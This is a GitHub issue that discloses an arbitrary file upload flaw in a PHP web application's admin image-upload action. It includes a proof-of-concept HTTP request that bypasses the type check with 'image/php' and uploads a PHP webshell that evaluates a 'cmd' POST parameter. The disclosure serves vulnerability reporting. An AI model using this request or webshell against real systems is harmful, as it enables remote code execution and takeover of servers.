Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

There is an arbitrary file upload getshell vulnerability in the background #14

Open
S2eTo opened this issue Nov 3, 2022 · 0 comments
Open

Comments

@S2eTo
Copy link

S2eTo commented Nov 3, 2022

Descriotion

There is an arbitrary file upload vulnerability in the background. An administrator user attacker can upload a .php file to execute malicious code through this vulnerability, thereby gaining control of the system. An attacker can use it to upload a .php file to execute malicious code, thereby obtaining system of control.

Vulnerability details

File Path: LKT/webapp/modules/extension/actions/uploadImgAction.class.php::execute

This method incorrectly splices untrusted file types, resulting in arbitrary file uploads

image

By modifying the file type in the file upload protocol to: image/php to upload webshell

POST /LKT/index.php?module=extension&action=uploadImg HTTP/1.1
Host: 192.168.157.130
Content-Length: 232
Cache-Control:max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.157.1
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryGTdxAdrEarGLzRWy
User-Agent: Moz1lla/50(Windows N00: Wn64: x64)AppleWebK1t/53736(KFIML like Gecko) Chrome/103.0.5060.134 Safari/537.36
Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8.application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

------WebKitFormBoundaryGTdxAdrEarGLzRWy
Content-Dispositiop:form-data; name="file"; filename="123123.php"
Content-Type: image/php

<?php
var dump($ POST);
@eval($ POST['cmd']);
?>
-----WebKitFormBoundaryGTdxAdrEarGLzRWy

image

Uploaded webshell successfully

image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant